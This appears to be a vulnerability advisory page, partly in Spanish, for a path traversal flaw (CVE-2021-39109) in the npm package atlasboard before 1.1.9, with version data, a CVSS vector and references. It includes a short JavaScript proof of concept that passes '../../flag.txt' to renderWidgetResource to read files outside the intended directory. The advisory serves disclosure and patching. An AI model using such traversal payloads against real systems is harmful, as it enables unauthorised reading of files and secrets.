Path traversal in atlasboard
The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.
PoC
const widget = require(\"atlasboard/lib/webapp/routes/widget\");
// Mock req and res
const req = {};
const res = {
sendFile: (filePath) => {
// Read and return file contents synchronously
const data = fs.readFileSync(filePath, \"utf8\");
console.log(\"Contents of /flag.txt:\");
console.log(data);
},
status: function (code) {
this.statusCode = code;
return this;
},
send: function (msg) {
throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
},
};
// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";
// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";
// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | atlasboard | < 1.1.9 | 1.1.9 |
Referencias
- https://nvd.nist.gov/vuln/detail/CVE-2021-39109
- https://arxiv.org/abs/2506.04962
- https://arxiv.org/pdf/2506.04962
- https://bitbucket.org/atlassian/atlasboard/commits/9c03df09f09399e2601010466e8ba3a28236eb9c
- https://bitbucket.org/atlassian/atlasboard/pull-requests/91/buildeng-19379-apply-only-the-path
- https://bitbucket.org/atlassian/atlasboard/src/master
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Debilidad (CWE)
CWE-22- Plataforma
- npm
- Paquete
atlasboard- Publicada
- 02.09.2021
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-25pr-6pr6-68v7 - CC BY 4.0
Historial de vulnerabilidades: atlasboard
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
Esta es la única vulnerabilidad conocida de este paquete.
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.